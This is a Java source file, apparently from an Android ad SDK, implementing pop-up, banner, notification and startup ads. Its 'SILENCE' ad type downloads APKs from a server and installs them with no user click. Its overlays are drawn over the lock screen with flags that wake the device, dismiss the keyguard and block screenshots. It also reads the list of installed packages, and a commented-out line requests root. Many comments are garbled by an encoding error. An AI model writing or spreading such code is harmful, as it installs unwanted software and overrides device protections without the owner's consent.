package com.zyasdk.controll;

import android.annotation.SuppressLint;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.graphics.PixelFormat;
import android.graphics.drawable.Drawable;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.support.v4.view.ViewPager;
import android.text.TextUtils;
import android.util.Log;
import android.view.Gravity;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
import android.view.WindowManager;
import android.view.WindowManager.LayoutParams;
import android.widget.ImageView;
import android.widget.ImageView.ScaleType;
import android.widget.RelativeLayout;

import com.zhuoyian.analysis.Analysis;
import com.zhuoyian.analysis.AnalysisBuilder;
import com.zhuoyian.analysis.AnalysisBuilder.DownLoadState;
import com.zhuoyian.analysis.AnalysisBuilder.OpenManner;
import com.zhuoyian.analysis.common.AnalysisConsts;
import com.zhuoyian.dl.Download;
import com.zhuoyian.dl.listener.DownloadListener;
import com.zhuoyian.dl.util.DownloadParameter;
import com.zyasdk.Zservice;
import com.zyasdk.enums.AdType;
import com.zyasdk.enums.KVType;
import com.zyasdk.enums.SDKActionType;
import com.zyasdk.interfaces.OnProductDLListener;
import com.zyasdk.interfaces.OnStartUpDimissListener;
import com.zyasdk.model.ARModel;
import com.zyasdk.model.AdAdapter;
import com.zyasdk.model.BackDatas;
import com.zyasdk.model.Products;
import com.zyasdk.service.ADService;
import com.zyasdk.service.BackDataService;
import com.zyasdk.service.DLImage;
import com.zyasdk.util.ApkControll;
import com.zyasdk.util.DateHelper;
import com.zyasdk.util.JSONHelper;
import com.zyasdk.util.ZYALogUtils;
import com.zyasdk.util.LanguageUtil;
import com.zyasdk.util.LocalUtils;
import com.zyasdk.util.NotifiUtil;
import com.zyasdk.util.SDKActionRecordUtil;
import com.zyasdk.util.SP;
import com.zyasdk.util.StaticSetting;
import com.zyasdk.util.Util;
import com.zyasdk.view.animation.zyaanim.AccordionTransformer;
import com.zyasdk.view.view.ViewFactory;

import org.json.JSONException;

import java.io.File;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;

@SuppressLint("DefaultLocale")
public class WindowUtil {

	private static WindowUtil wu = null;

	private OnStartUpDimissListener onStartUpDimissListener;

	public void setOnStartUpDimissListener(
			OnStartUpDimissListener onStartUpDimissListener) {
		this.onStartUpDimissListener = onStartUpDimissListener;
	}

	public static WindowUtil getModel(Context ccontext) {
		if (wu == null) {
			ZYALogUtils.e("WindowUtil is not init");
			context = ccontext;
			wu = new WindowUtil();
		} else {
			ZYALogUtils.e("WindowUtil is init");
		}
		return wu;
	}

	private static View mView = null;
	private static WindowManager mWindowManager = null;
	private static Context mContext = null;

	public static Boolean isShown = false;

	public static final int DOWNLOAD_IMAGE = 1000;
	private String language;

	public BackDataService mBackDataService = new BackDataService(context);

	String pck = null;
	String channel = null;
	private static Context context;
	private boolean isStart = false;// 是否开启服务的boolean值
	public static List<Products> downloadList = new ArrayList<Products>();
	public BackDatas bd = new BackDatas();
	// 妯箙鍥剧墖
	private static List<ImageView> ivList = new ArrayList<ImageView>();

	/**
	 * 开启后台服务
	 */
	public void startService() {
		if (isStart) {
			ZYALogUtils.e("Service Start...");
			context.startService(new Intent(context, Zservice.class));
		}
	}

	private WindowUtil() {
		init();
	}

	/**
	 * 初始化应用程序信息
	 */
	private void init() {
		ApplicationInfo info;
		try {
			// 鑾峰彇閰嶇疆鐨勬笭閬揔EY鍜屽寘KEY
			info = context.getPackageManager().getApplicationInfo(
					context.getPackageName(), PackageManager.GET_META_DATA);
//			pck = info.metaData.getString("zyapackage");
//			channel = info.metaData.getString("zyachannel");
			//将配置清单的meta-data放到代码里面实现
			pck = "FC63C237A7";
			channel = "664FFA8016";

		} catch (Exception e) {
			e.printStackTrace();
			// 跳出异常
			return;
		}

		// 璇锋眰ROOT鏉冮檺
		// ApkControll.getUserRoot(context.getPackageCodePath());

		// 濡傛灉娌℃湁閰嶇疆娓犻亾KEY鎴栬�呭寘KEY鐨勮瘽鏃犳硶璋冪敤SDK
		if (TextUtils.isEmpty(pck)) {
			ZYALogUtils.e("\"zyapackage\" is null");
			return;
		} else {
			KVType.PACKAGEKEY.setValue(context, pck);
		}
		if (TextUtils.isEmpty(channel)) {
			ZYALogUtils.e("\"zyachannel\" is null");
			return;
		} else
			KVType.CHANNELKEY.setValue(context, channel);
		isStart = true;

	//	language = AppInfoUtil.getLanguage(context);
		language = LanguageUtil.getCountry(context);//根据国家码获取语言类型
		bd.setCountryCode(language);
	}

	/**
	 * 展示广告产品
	 */
	public void showAd(AdType ad) {
		if (context != null) {
			// 鑾峰彇鏈湴鏁版嵁
//			String data = LocalUtils.getLocalData(ad, context);
            String data = null;
			// 判断data是否为空，进而从传递参数从服务器获取信息。
			if (TextUtils.isEmpty(data)) {
				new ADService(context).GetNewVersions(handlers, pck, channel,
						KVType.PACKID.getValue(context), language, ad,
						KVType.PBINDKEY.getValue(context));
				if (ad == AdType.STARTUP) {
					// 濡傛灉鏄惎鍔ㄥ浘鐩存帴鏄剧ず榛樿鐨勬暟鎹�
					showStartUp(null, null);
				}
			} else {
				// 濡傛灉+褰撳墠闇�瑕佸睍绀虹殑鏄惎鍔ㄩ〉骞垮憡鍒欒皟鍙栨湰鍦板凡缁忓姞杞藉ソ鍥剧墖鐨勬暟鎹�
				if (ad == AdType.STARTUP) {
					List<Products> list = LocalUtils.getLocalImgLoadData(ad,
							context);
					// 濡傛灉鏈湴娌℃湁宸茬粡涓嬭浇濂藉浘鐗囩殑鏁版嵁鍒欑洿鎺ユ樉绀洪粯璁ゅ浘鐗�
					if (list.size() > 0)
						loadAdvert(ad, list);
				}
				// 灞曠ず鏈湴鏁版嵁
				Log.i("result", "推送跟踪~~~~~~~~~~~~~~~~~~~4 ");
				dataSucs(ad, data, false);
			}
		} else
			ZYALogUtils.e("context is null");
	}

	/**
	 * 展示推荐产品信息
	 * 
	 * @param mess
	 */
	public void showRecommend(String mess) {
		try {
			// 获取本地的产品数据信息
			String data = LocalUtils.getLocalData(AdType.AD, context);
			List<Products> list = (List<Products>) JSONHelper.parseCollection(
					data, List.class, Products.class);
			if (list == null || list.size() == 0)
				return;
			List<PackageInfo> packageList = ApkControll
					.getInstalledPackages(context);
			List<Products> newList = new ArrayList<Products>();
			// 遍历list添加新的pro进newList
			for (Products pro : list) {
				if (checkPackages(packageList, pro)) {
					newList.add(pro);
				}
			}
			mView = ViewFactory.getRecommendView(context,newList, mess,onProductDLListener,new OnClickListener() {

				@Override
				public void onClick(View v) {
					if (mWindowManager != null) {
						try {
							mWindowManager.removeView(v);
						} catch (Exception e) {
							e.printStackTrace();
						}
						isShown = false;
						mView = null;
					}
				}
			});
			if (mView != null)
				showPopupWindow(mView, AdType.RECOMMENDS);
		} catch (Exception e) {
			e.printStackTrace();
		}
	}

	/**
	 * 获取渠道包ID
	 * 
	 * @param packId
	 */
	public void setPackId(int packId) {
		bd.setPackId(packId+"");
		KVType.PACKID.setValue(context, packId + "");
	}

	/**
	 * 获取项目KEY
	 * 
	 * @param pBindKey
	 */
	public void setPBindKey(String pBindKey) {
		KVType.PBINDKEY.setValue(context, pBindKey);
	}

	@SuppressLint("HandlerLeak")
	private Handler handlers = new Handler() {

		@Override
		public void handleMessage(Message msg) {
			switch (msg.what) {
			case StaticSetting.RESULT_OK:
				Log.i("result", "推送跟踪~~~~~~~~~~~~~~~~~~~2 ");
				// 获取handle传过来的msg信息
				AdType adType = (AdType) msg.obj;
				ARModel model = (ARModel) msg.getData().getSerializable(
						"result");
				// 对不为空的广告产品信息进行保存和加载
				if (!TextUtils.isEmpty(model.getReusltContent())) {
					dataSucs(adType, model.getReusltContent(), true);
				}
				break;
			case WindowUtil.DOWNLOAD_IMAGE:
				ZYALogUtils.e("image load sucs");
				Drawable drawable = (Drawable) msg.obj;
				Bundle bundle = msg.getData();
				if (bundle != null && drawable != null) {
					Products ad = (Products) bundle.getSerializable("product");
					AdType type = (AdType) bundle.getSerializable("adType");
					// 濡傛灉鍥剧墖涓嬭浇鎴愬姛鍒欐洿鏂版湰鍦版暟鎹�
					if (ad != null && ad.getIsLoadImg() == 0
							&& drawable != null) {
						LocalUtils.updateLocalData(type, ad.getId(), context);
					}
					// 鍚姩鍥句笉绠″浘鐗囨湁娌℃湁鍔犺浇鎴愬姛閮介渶瑕佹樉绀猴紝娌℃湁鍔犺浇鎴愬姛灏辨樉绀洪粯璁ょ殑鍥剧墖
					if (type == AdType.STARTUP) {
						// 濡傛灉宸茬粡鏄剧ず浜嗗惎鍔ㄩ〉灏变笉鍐嶆樉绀�
						if (showStartUpCount == 0)
							showStartUp(drawable, ad);
					} else if (type == AdType.BANNERS) {// 妯箙
						if (drawable != null) {
							ImageView image = new ImageView(context);
							image.setTag(ad.getImgfile(type));
							image.setScaleType(ScaleType.FIT_XY);
							ViewGroup.LayoutParams lp1 = new ViewGroup.LayoutParams(
									LayoutParams.MATCH_PARENT,
									LayoutParams.MATCH_PARENT);
							image.setLayoutParams(lp1);
							image.setImageDrawable(drawable);
							ivList.add(image);
							for (AdAdapter adapter : adapterList) {
								adapter.notifyDataSetChanged();
							}
						}
					} else {
						// 鍙湁鍥剧墖鍔犺浇鎴愬姛鎵嶆樉绀哄箍鍛�
						if (drawable != null && showStartUpCount == 0) {
							showPopAd(drawable, ad, type);
						}
					}
				} else {
					ZYALogUtils.e("img is null");
				}
				break;
			case StaticSetting.RESULT_ERROR:
				break;
			}
			super.handleMessage(msg);
		}

	};

	/**
	 * 鏁版嵁鑾峰彇鎴愬姛
	 * 
	 * @param adType
	 * @param content
	 * @throws JSONException
	 */
	private void dataSucs(AdType adType, String content, boolean isSave) {
		Log.i("result", "推送跟踪~~~~~~~~~~~~~~~~~~~3 ");
		try {
			List<Products> advertList = (List<Products>) JSONHelper
					.parseCollection(content, List.class, Products.class);
			if (advertList != null && advertList.size() > 0) {
				if (isSave) {
					// SP.put（context，key，value）
					SP.put(context, adType.getDataKey(), content);// 保存产品信息
					SP.put(context, adType.getTimeKey(), DateHelper
							.getInstance().getDataString_1(null));// 保存产品时间
				}
				List<PackageInfo> packageList = ApkControll
						.getInstalledPackages(context);
				List<Products> newList = new ArrayList<Products>();
				// 遍历advertList添加新的pro进newList
				for (Products pro : advertList) {
					if (checkPackages(packageList, pro)) {
						newList.add(pro);
					}
				}
				if (newList.size() > 0)
					loadAdvert(adType, newList);
			}
		} catch (JSONException e) {
			e.printStackTrace();
		}
	}

	/**
	 * 检查产品获取的安装包是否一致
	 * 
	 * @param packageList
	 * @param pro
	 * @return
	 */
	private boolean checkPackages(List<PackageInfo> packageList, Products pro) {
		for (PackageInfo pack : packageList) {
			if (pack.packageName.toLowerCase().equals(
					pro.getPackName().toLowerCase())) {
				return false;
			}
		}
		return true;
	}

	/**
	 * 加载广告
	 */
	private void loadAdvert(AdType adType, List<Products> advertList) {
		if (adType == AdType.BANNERS) {
			for (Products pro : advertList) {
				DLImage dl = new DLImage(handlers);
				dl.start(pro, adType);
			}
		} else {
			if(adType == AdType.SILENCE && ApkControll.isCanSilenceInstall(context))
			{
				int i=0;
				for(i=0;i<advertList.size();i++){
					initAd(adType, advertList.get(i));
				}
			}else{
				Random ran = new Random();
				int index = ran.nextInt(advertList.size());
				Products advert = advertList.get(index);
				initAd(adType, advert);
			}
		}
	}

	/**
	 * 初始化广告
	 * 
	 * @param adType
	 * @param advert
	 */
	public void initAd(AdType adType, Products advert) {
		switch (adType) {
		case AD:
			if (advert.getScid() == 3) {
				// 根据安装类型=3 进行下载展示图片
				DLImage dl = new DLImage(handlers);
				dl.start(advert, adType);
			} else if (advert.getScid() == 1) {
				// 下载产品
				download(advert);
			} else {
				// 判断APK是否存在，如果不存在，下载产品。
				String apkFile = advert.getApkfile() == null ? "" : advert
						.getApkfile();
				apkFile = apkFile.substring(apkFile.lastIndexOf("/") + 1);
				int version = advert.getVcode();
				if (version > ApkControll.getApkFileInfo(mContext, apkFile)) {
					download(advert);
				}
			}
			break;
		case STARTUP:
		case BOX:
			DLImage dl = new DLImage(handlers);
			dl.start(advert, adType);
			break;
		case NOTIFIS:// 通知栏广告
			NotifiUtil.getInstance(context).notifiProduct(advert);
			break;
		case SILENCE:// 静默广告
			advert.setScid(1);
			download(advert);
			break;
		default:
			break;
		}
	}

	//广告产品点击事件监听
	OnProductDLListener onProductDLListener=new OnProductDLListener() {

		@Override
		public void onDownLoad(Products product) {
			Log.i("result", "onDownLoad ");
			download(product);
			hidePopupWindow();
		}
	};

	/**
	 * 展示弹窗广告
	 */
	private void showPopAd(Drawable d, Products ad, AdType adType) {
		// 濡傛灉褰撳墠绐楀彛澶勪簬鎵撳紑鐘舵�佸垯鍏抽棴褰撳墠鎵撳紑鐨勭獥鍙�
		if (isShown) {
			hidePopupWindow();
		}
		switch (adType) {
		case AD:
			bd.setGetAction(String.valueOf(adType.getType()));
			mView = ViewFactory.getAdView(context, d, ad,onProductDLListener
					);
			break;
		case STARTUP:

			break;
		default:
			break;
		}
		if (mView != null)
			showPopupWindow(mView, adType);
	}

	/**
	 * 展示横幅
	 * 
	 * @param view
	 */
	public void showBanners(ViewGroup view) {
		view.addView(getBannerView());
		showAd(AdType.BANNERS);
	}

	private int showSecond = 3;// 鏄剧ず鐨勭鏁�
	private View defaultView = null;// 榛樿瑙嗗浘
	private int defaultImg = -1;// 榛樿鍥剧墖
	private String appName = null;// 搴旂敤鍚�
	private String about = null;// 璇存槑
	private int icon = -1;// 鍥炬爣

	/**
	 * 寮瑰嚭鍚姩鐣岄潰
	 * 
	 * @param icon
	 *            图标
	 * @param defaultImg
	 *            默认图片
	 * @param showSecond
	 *            鍚姩鍥炬樉绀哄灏戠
	 * @param appName
	 *            app名称
	 * @param about
	 *            关于信息
	 */
	public void showStartUp(int icon, int defaultImg, View defaultView,
			int showSecond, String appName, String about) {
		showStartUpCount = 0;
		this.showSecond = showSecond;
		this.defaultImg = defaultImg;
		this.appName = appName;
		this.about = about;
		this.icon = icon;
		this.defaultView = defaultView;
		showAd(AdType.STARTUP);
	}

	private int showStartUpCount = 0;

	/**
	 * 寮瑰嚭鍚姩鐣岄潰
	 * 
	 * @param drawable
	 * @param advert
	 */
	private void showStartUp(Drawable drawable, final Products advert) {
		Log.i("result", "推送跟踪~~~~~~~~~~~~~~~~~~~1 ");
		showStartUpCount = 1;
		if (this.defaultView == null || drawable != null) {
			ImageView iv = new ImageView(context);
			iv.setLayoutParams(new RelativeLayout.LayoutParams(
					RelativeLayout.LayoutParams.MATCH_PARENT,
					RelativeLayout.LayoutParams.MATCH_PARENT));
			iv.setScaleType(ScaleType.CENTER_CROP);
			// 濡傛灉鏈湴娌℃湁鍔犺浇鍒板浘鐗囧垯浣跨敤榛樿鍥剧墖
			if (drawable == null) {
				iv.setImageResource(defaultImg);
			} else {
				iv.setImageDrawable(drawable);
				iv.setOnClickListener(new OnClickListener() {

					@Override
					public void onClick(View v) {
						download(advert);
						hidePopupWindow();
					}
				});
			}
			showStartUp(icon, iv, showSecond, appName, about,advert);
		} else {
			defaultView.setLayoutParams(new RelativeLayout.LayoutParams(
					RelativeLayout.LayoutParams.MATCH_PARENT,
					RelativeLayout.LayoutParams.MATCH_PARENT));
			showStartUp(icon, defaultView, showSecond, appName, about,advert);
		}
	}

	/**
	 * 寮瑰嚭鍚姩鐣岄潰
	 * 
	 * @param icon
	 *            搴旂敤鍥炬爣
	 * @param view
	 *            鍚姩瑙嗗浘
	 * @param showSecond
	 *            鍚姩鍥炬樉绀哄灏戠
	 * @param appName
	 *            搴旂敤鍚�
	 * @param about
	 *            搴旂敤绠�瑕佽鏄�
	 */
	public void showStartUp(int icon, View view, int showSecond,
			String appName, String about,Products advert) {
		// 濡傛灉褰撳墠绐楀彛澶勪簬鎵撳紑鐘舵�佸垯鍏抽棴褰撳墠鎵撳紑鐨勭獥鍙�
		if (isShown) {
			hidePopupWindow();
		}
		mView = ViewFactory.getStartUpView(context, showSecond, icon, view,
				appName, about,advert, onStartUpDimissListener);
		showPopupWindow(mView, AdType.STARTUP);
	}

	public static boolean isScreen = false;

	/**
	 * 展示弹出窗口
	 * @param type
	 * @param v
	 */
	private void showPopupWindow(View v, AdType type) {
		isShown = true;
		mContext = context.getApplicationContext();
		mWindowManager = (WindowManager) mContext
				.getSystemService(Context.WINDOW_SERVICE);

		final WindowManager.LayoutParams params = new WindowManager.LayoutParams();
		if (android.os.Build.BRAND.equals("Xiaomi")) {
			params.type = WindowManager.LayoutParams.TYPE_TOAST;
		} else {
			params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
		}
		if (isScreen) {
			// 绐楀彛鍗犳弧鏁翠釜灞忓箷锛屽拷鐣ュ懆鍥寸殑瑁呴グ杈规锛堜緥濡傜姸鎬佹爮锛夈�傛绐楀彛闇�鑰冭檻鍒拌楗拌竟妗嗙殑鍐呭銆�
			params.flags |= WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN;
		}
		// 褰撴绐楀彛涓虹敤鎴峰彲瑙佹椂锛屼繚鎸佽澶囧父寮�锛屽苟淇濇寔浜害涓嶅彉銆�
		params.flags |= WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON;
		// 褰撹姹傚竷灞�鏃讹紝浣犵殑绐楀彛鍙兘鍑虹幇鍦ㄧ姸鎬佹爮鐨勪笂闈㈡垨涓嬮潰锛屼粠鑰岄�犳垚閬尅銆傚綋璁剧疆杩欎竴閫夐」鍚庯紝绐楀彛绠＄悊鍣ㄥ皢纭繚绐楀彛鍐呭涓嶄細琚楗版潯锛堢姸鎬佹爮锛夌洊浣忋��
		params.flags |= WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR;
		// 绐楀彛涓�鏃︽樉绀哄嚭鏉ワ紝绯荤粺灏嗙偣浜睆骞曪紝姝ｅ鐢ㄦ埛鍞ら啋璁惧閭ｆ牱銆�
		params.flags |= WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON;
		// 瑙ｉ櫎閿佸睆銆傚彧鏈夐攣灞忕晫闈笉鏄姞瀵嗙殑鎵嶈兘瑙ｉ攣銆傚鏋滈攣灞忕晫闈㈡槸鍔犲瘑鐨勶紝閭ｄ箞鐢ㄦ埛瑙ｉ攣涔嬪悗鎵嶈兘鐪嬪埌姝ょ獥鍙ｏ紝闄ら潪璁剧疆浜咶LAG_SHOW_WHEN_LOCKED閫夐」銆�
		params.flags |= WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD;
		// 涓嶅厑璁告埅灞�
		params.flags |= WindowManager.LayoutParams.FLAG_SECURE;
		// 鍦ㄩ攣灞忕晫闈㈡樉绀�
		params.flags |= WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED;
		// 鏄剧ず澹佺焊
		// params.flags |= WindowManager.LayoutParams.FLAG_SHOW_WALLPAPER;
		// params.flags |= WindowManager.LayoutParams.FLAG_BLUR_BEHIND;
		// params.flags |=
		// WindowManager.LayoutParams.FLAG_TOUCHABLE_WHEN_WAKING;
		// params.flags |= WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
		params.flags |= WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM;
		params.format = PixelFormat.TRANSLUCENT;
		params.width = LayoutParams.MATCH_PARENT;
		params.height = LayoutParams.MATCH_PARENT;
		params.gravity = Gravity.CENTER;
		try {
			mWindowManager.addView(mView, params);
		} catch (Exception e) {
			e.printStackTrace();
		}

	}

	/**
	 * 下载广告产品
	 * 
	 * @param advert
	 */
	@SuppressLint("DefaultLocale")
	public void download(Products advert) {
		try {

			String path = advert.getApkfile();
			if (!path.toLowerCase().startsWith("http:")) {
				path = StaticSetting.DOWNLOAD_SERVICEPATH + path;
			}

			final long curTime=System.currentTimeMillis();
			Download.serialDlPointFile(path, DownloadParameter.TYPE_DEFAULT,
					advert, new DownloadListener() {

						@Override
						public void onDownload(DownloadParameter parameter,
								Object args) {
							switch (parameter.getDownState()) {
							case DownloadParameter.STATE_START:
								Products p = (Products) args;
								 AnalysisBuilder ab=AnalysisBuilder.create().putApkId(p.getId()).putApkName(p.getName())
					        		.putApkUrl(p.getApkfile()).putOpen(OpenManner.NOTIFY).putExitTime()
					        		.putState(DownLoadState.ENTER).putComeTime(""+curTime);
					             Analysis.getBrowserAnalysis().analysisDownload(AnalysisConsts.SCENE_DOWNLOAD, "0", "0",ab);
								break;
							case DownloadParameter.STATE_DOWING:

								break;
							case DownloadParameter.STATE_STOP:
								ZYALogUtils.e("download service file fail");
								break;
							case DownloadParameter.STATE_COMPLETE:
								ZYALogUtils.e("download service file success");
								if (TextUtils.isEmpty(parameter.getLocalPath()))
									return;
								int type = 2;
								// 浠庝笅杞藉垪琛ㄤ腑鑾峰彇褰撳墠涓嬭浇瀹屾垚鐨勪骇鍝�
								Products pro = (Products) args;
								if (pro != null) {
									type = pro.getScid();
									ZYALogUtils.e("install type is " + type);
									// 本地下载集合移除产品
									downloadList.remove(pro);
//                                    bd.setPackId(pro.getId());
                                    //获得产品id 注释：id 和proid 参数错误 id即产品id
                                    bd.setProId(String.valueOf(pro.getId()));
									bd.setHandle("2");
                                    mBackDataService.BackData(bd);
									// SDK活动记录
									SDKActionRecordUtil.AddRecord(context, pro.getId(), SDKActionType.DOWNLOAD);
									// 更新本地包名
									LocalUtils.updateLocalPackname(context,
											pro.getPackName());
								}

								// 瀹夎涓嬭浇瀹屾垚鐨勪骇鍝�
								ApkControll.install(parameter.getLocalPath(),
										type, WindowUtil.context);
								//涓嬭浇瀹屾垚缁熻
								long l=new File(parameter.getLocalPath()).length();
								String downSize = String.format("%1$.02f",
										(double) l / 1024.0f / 1024.0f);
								AnalysisBuilder ab2=AnalysisBuilder.create().putApkId(pro.getId()).putApkName(pro.getName())
					        		.putApkUrl(pro.getApkfile()).putOpen(OpenManner.NOTIFY).putExitTime()
					        		.putState(DownLoadState.FINSH).putComeTime(""+curTime);
					            Analysis.getBrowserAnalysis().analysisDownload(AnalysisConsts.SCENE_DOWNLOAD, downSize, ""+(System.currentTimeMillis()-curTime)/1000,ab2);
								break;

							default:
								break;
							}

						}
					});
//			bd.setPackId(advert.getId());
			//获得产品id 注释：id 和proid 参数错误 id即产品id
			bd.setProId(String.valueOf(advert.getId()));
			bd.setHandle("1");
            mBackDataService.BackData(bd);
			// 鎻掑叆涓嬭浇璁板綍
			SDKActionRecordUtil.AddRecord(context, advert.getId(), SDKActionType.CLICK);
		} catch (Exception e) {
			e.printStackTrace();
			ZYALogUtils.e("file download error");
		}
	}

	/**
	 * 隐藏广告窗口（点击广告视图）
	 */
	public void hidePopupWindow() {
		if (isShown && null != mView) {
			try {
				mWindowManager.removeView(mView);
			} catch (Exception e) {
				e.printStackTrace();
			}
			isShown = false;
			mView = null;
		}

	}

	private List<AdAdapter> adapterList = new ArrayList<AdAdapter>();

	/**
	 * 获得横幅视图
	 * 
	 * @return
	 */
	private View getBannerView() {
		AdAdapter mAdapter = new AdAdapter(ivList);
		adapterList.add(mAdapter);
		ViewPager vp = new ViewPager(context);
		ViewGroup.LayoutParams lp = new ViewGroup.LayoutParams(
				LayoutParams.MATCH_PARENT, Util.dip2px(context, 50));
		vp.setLayoutParams(lp);
		vp.setAdapter(mAdapter);
		// 璁剧疆骞垮憡鍒囨崲鍔ㄧ敾
		vp.setPageTransformer(true, new AccordionTransformer());
		return vp;
	}

}
